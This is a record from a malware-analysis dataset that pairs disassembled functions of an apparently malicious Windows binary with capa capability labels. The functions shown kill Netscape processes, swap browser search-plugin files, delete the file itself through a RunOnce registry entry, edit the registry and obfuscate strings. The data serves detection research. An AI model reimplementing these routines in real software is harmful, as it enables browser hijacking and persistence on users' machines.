joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418550
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00424090
mov eax, dword [ebp + 8]
push eax
push str._ssearchpluginsSBWeb_01.src
lea ecx, [ebp - 0x2008]
push ecx
call fcn.00423db8
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._ssearchpluginsSBWeb_01.bk_
lea eax, [ebp - 0x1008]
push eax
call fcn.00423db8
add esp, 0xc
push str.netscape.exe
push str.netscp6.exe
call fcn.00421fe0
add esp, 8
cmp dword [ebp + 0xc], 0
je 0x4185c8
lea ecx, [ebp - 0x2008]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x2008]
push edx
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x41862b
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x2008]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x434f40
lea ecx, [ebp - 0x2008]
push ecx
call fcn.004257b5
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41862b
mov edx, dword [ebp - 4]
push edx
push 0x31
mov ecx, 0x46e9a8
call fcn.00421660
push eax
call fcn.00425e8e
add esp, 8
mov eax, dword [ebp - 4]
push eax
call fcn.004256aa
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41a940
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
call fcn.00402940
call fcn.0040bd70
mov dword [ebp - 4], eax
push 5
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0041ac70
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41aa7c
push 0xf0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0041ac70
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x1c], 0
je 0x41a9bc
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x41aa63
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x41aa58
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.0041aa90
add esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.0041ac90
add esp, 4
movzx eax, al
test eax, eax
jne 0x41aa3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x20]
je 0x41aa56
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x41aa61
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
jmp 0x41aa6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x41aa7c
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41da70
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc3c
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionTelephonyCountry_List
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41daa2
jmp 0x41dc33
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0x3e8
mov dword [ebp - 0x41c], 0x3e8
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x41c]
push edx
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp - 0x420]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41dc10
lea eax, [ebp - 0x428]
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0
jne 0x41dc10
mov dword [ebp - 0x434], 0x3e8
mov dword [ebp - 0x42c], 0x3e8
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x838]
push ecx
lea edx, [ebp - 0xc3c]
push edx
push 0
push str.Name
mov eax, dword [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x41dc10
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x838]
push edx
call fcn.004214b0
add esp, 8
test eax, eax
jne 0x41dba6
lea eax, [ebp - 0x838]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004214b0
add esp, 8
test eax, eax
je 0x41dc10
lea edx, [ebp - 0x42c]
push edx
lea eax, [ebp - 0xc38]
push eax
lea ecx, [ebp - 0xc3c]
push ecx
push 0
push str.InternationalRule
mov edx, dword [ebp - 0x428]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x41dc10
lea eax, [ebp - 0xc38]
push eax
call fcn.0041d5f0
add esp, 4
push 0x64
lea ecx, [ebp - 0xc38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00423e80
add esp, 0xc
mov byte [ebp - 0x7d5], 0
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x420]
add eax, 1
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0xc], 0
je 0x41dab6
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x41f3a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0xffffffff
jne 0x41f3b6
mov eax, 6
jmp 0x41f3e4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [0x46e96c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004227f0
add esp, 8
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x41f3f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0xffffffff
jne 0x41f406
mov eax, 6
jmp 0x41f43d
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00423b90
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0
mov eax, dword [0x46e96c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004227f0
add esp, 8
push eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x41f450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0xffffffff
jne 0x41f466
mov eax, 6
jmp 0x41f490
push 4
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0
mov edx, dword [0x46e96c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004227f0
add esp, 8
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x41f4a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0xffffffff
jne 0x41f4b5
xor eax, eax
jmp 0x41f4fc
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x46e96c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004227f0
add esp, 8
push eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41f4fa
mov eax, dword [ebp - 4]
jmp 0x41f4fc
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x41f5d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0xffffffff
jne 0x41f5e8
mov eax, 6
jmp 0x41f645
mov dword [ebp - 4], 0
cmp dword [ebp + 0x14], 0
je 0x41f5fd
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xc], ecx
jmp 0x41f603
lea edx, [ebp - 4]
mov dword [ebp - 0xc], edx
cmp dword [ebp + 0x18], 0
je 0x41f611
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
jmp 0x41f627
mov ecx, dword [0x46e96c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004227f0
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esp, ebp
pop ebp
ret 0x14

Function at 0x41f650
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0xffffffff
jne 0x41f666
mov eax, 6
jmp 0x41f686
mov ecx, dword [0x46e96c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004227f0
add esp, 8
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esp, ebp
pop ebp
ret 4

Function at 0x41f9d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0xffffffff
jne 0x41f9e5
xor eax, eax
jmp 0x41fa23
mov dword [ebp - 8], 0
mov dword [ebp - 4], 1
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [0x46e96c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004227f0
add esp, 8
push eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
ret 4
Function at 0x41fa30
Capabilities:
Delete registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 0x418], ecx
mov eax, dword [ebp - 0x418]
cmp dword [eax], 0xffffffff
jne 0x41fa4f
jmp 0x41fb15
push 0x435868
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0xf003f
push 0
push 0x435899
push 0
push 0x43589c
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x41fa90
jmp 0x41fb15
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], 0
mov dword [ebp - 0x414], 0x400
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x410]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x418]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x41fb06
push 0
push 1
push 0xffffffffffffffff
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x410]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionBackup
push SysReAllocStringLen
mov ecx, dword [ebp - 0x418]
call fcn.0041f690
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
cmp dword [ebp - 0x10], 0
je 0x41faa1
mov esp, ebp
pop ebp
ret

Function at 0x41fb20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41fb71
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x41fb80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41fbd1
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x41fbe0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41fc23
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x41fc30
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 0x94
push 0
lea eax, [ebp - 0x98]
push eax
call fcn.00423d20
add esp, 0xc
mov dword [ebp - 0x98], 0x94
lea ecx, [ebp - 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 1
jne 0x41fc7f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x41fc8d
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esp, ebp
pop ebp
ret

Function at 0x41fed0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ecx], 0x67452301
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [edx + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ecx + 0xc], 0x10325476
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov dword [eax + 0x10], 0x10325476
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0
mov edx, dword [ebp + 8]
mov dword [edx + 4], 0
pop ebp
ret
Function at 0x421a80
Capabilities:
Check for time delay via gettickcount
Delete file
Get common file path
Move file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18e0
call fcn.00424090
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
push edx
call fcn.00421ca0
add esp, 4
test eax, eax
je 0x421c93
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
je 0x421af9
cmp dword [ebp - 4], 0
jne 0x421af9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x1130
jae 0x421af9
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
jmp 0x421ac3
push 0x94
push 0
lea ecx, [ebp - 0xa0]
push ecx
call fcn.00423d20
add esp, 0xc
mov dword [ebp - 0xa0], 0x94
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 1
jne 0x421c85
push 0x800
lea eax, [ebp - 0x8a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x421c83
lea ecx, [ebp - 0x8a0]
push ecx
push 0x435b70
lea edx, [ebp - 0x18a0]
push edx
call fcn.00423db8
add esp, 0xc
lea eax, [ebp - 0x18a0]
push eax
call fcn.00421ca0
add esp, 4
test eax, eax
jne 0x421c05
lea ecx, [ebp - 0x8a0]
push ecx
push str._scommandcommand.com
lea edx, [ebp - 0x18a0]
push edx
call fcn.00423db8
add esp, 0xc
lea eax, [ebp - 0x18a0]
push eax
call fcn.00421ca0
add esp, 4
test eax, eax
jne 0x421c05
push 0x800
lea ecx, [ebp - 0x8a0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x421bde
lea edx, [ebp - 0x8a0]
push edx
push str._scommand.com
lea eax, [ebp - 0x18a0]
push eax
call fcn.00423db8
add esp, 0xc
lea ecx, [ebp - 0x18a0]
push ecx
call fcn.00421ca0
add esp, 4
test eax, eax
jne 0x421c05
push str.C:command.com
lea edx, [ebp - 0x18a0]
push edx
call fcn.00423c20
add esp, 8
lea eax, [ebp - 0x18a0]
push eax
call fcn.00421ca0
add esp, 4
test eax, eax
je 0x421c83
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x18a0]
push edx
push str._s__c_del__s
lea eax, [ebp - 0x10a0]
push eax
call fcn.00423db8
add esp, 0x10
call fcn.00423e1d
push eax
push str.remititit_d
lea ecx, [ebp - 0x18e0]
push ecx
call fcn.00423db8
add esp, 0xc
lea edx, [ebp - 0x10a0]
push edx
call fcn.00423b90
add esp, 4
push eax
lea eax, [ebp - 0x10a0]
push eax
push 1
lea ecx, [ebp - 0x18e0]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0041fb80
add esp, 0x18
jmp 0x421c93
push 4
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esp, ebp
pop ebp
ret
Function at 0x421fe0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 4], 0
mov dword [ebp - 0x130], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4220b5
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32First
cmp dword [ebp + 8], 0
je 0x42203d
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.004214b0
add esp, 8
test eax, eax
jne 0x42205a
cmp dword [ebp + 0xc], 0
je 0x42209d
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x10c]
push edx
call fcn.004214b0
add esp, 8
test eax, eax
je 0x42209d
lea eax, [ebp - 0x130]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
push 1
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
je 0x42209d
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x422020
mov esp, ebp
pop ebp
ret

Function at 0x4220c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004257b5
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x422147
push 0x435c44
movzx edx, word [ebp + 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 8], 0
je 0x42213b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 1
mov edx, dword [ebp - 8]
push edx
call fcn.00425e42
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.004256aa
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4221c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push 0x435c4c
lea eax, [ebp - 0x20]
push eax
call fcn.00423c20
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 0x43
jmp 0x4221f0
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0x5a
jg 0x422222
mov dl, byte [ebp - 0x34]
mov byte [ebp - 0x20], dl
push 0
push 0
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x28]
push edx
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x422220
jmp 0x422222
jmp 0x4221e7
cmp dword [ebp - 0x28], 0
jne 0x42222f
mov dword [ebp - 0x28], 0x2e19
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00423e10
add esp, 4
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x38], 0
jmp 0x422254
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], 0xa
jge 0x422270
mov eax, dword [ebp - 0x24]
shl eax, 0xf
mov dword [ebp - 0x24], eax
call fcn.00423e1d
or eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x42224b
mov esp, ebp
pop ebp
ret
Function at 0x422e70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
je 0x422e82
cmp dword [ebp + 0xc], 0
jne 0x422e87
jmp 0x422f6a
mov eax, dword [ebp + 8]
push eax
call fcn.00423b90
add esp, 4
mov dword [ebp - 0xc], eax
call fcn.00423e1d
and eax, 0xff
cdq
idiv dword [0x45a344]
mov dword [ebp - 4], edx
call fcn.00423e1d
and eax, 0xff
movzx ecx, al
push ecx
push 0x435d8c
mov edx, dword [ebp + 0xc]
push edx
call fcn.00423db8
add esp, 0xc
movzx eax, byte [ebp - 4]
push eax
push 0x435d94
mov ecx, dword [ebp + 0xc]
add ecx, 2
push ecx
call fcn.00423db8
add esp, 0xc
mov edx, dword [ebp + 0xc]
mov al, byte [edx + 1]
mov byte [ebp - 5], al
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0xc]
mov al, byte [edx + 3]
mov byte [ecx + 1], al
mov ecx, dword [ebp + 0xc]
mov dl, byte [ebp - 5]
mov byte [ecx + 3], dl
mov eax, dword [ebp + 0xc]
add eax, 4
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x422f1b
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0xc]
jge 0x422f64
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
movsx ecx, byte [eax]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
cdq
idiv dword [0x45a344]
mov eax, dword [0x45a340]
movsx edx, byte [eax + edx]
xor ecx, edx
movzx eax, cl
push eax
push str._02X
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00423db8
add esp, 0xc
mov edx, dword [ebp + 0xc]
add edx, 2
mov dword [ebp + 0xc], edx
jmp 0x422f12
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
mov esp, ebp
pop ebp
ret

Function at 0x423320
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x423338
mov eax, 1
jmp 0x423388
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
mov edx, dword [ebp - 8]
mov ax, word [edx + 0x194]
push eax
call sub.WSOCK32.dll_WSAStartup
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42335c
xor eax, eax
jmp 0x423388
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + 4]
mov eax, dword [ebp - 8]
movzx ecx, word [eax + 0x194]
cmp edx, ecx
je 0x42337a
call sub.WSOCK32.dll_WSACleanup
xor eax, eax
jmp 0x423388
mov edx, dword [ebp - 8]
mov dword [edx], 1
mov eax, 1
mov esp, ebp
pop ebp
ret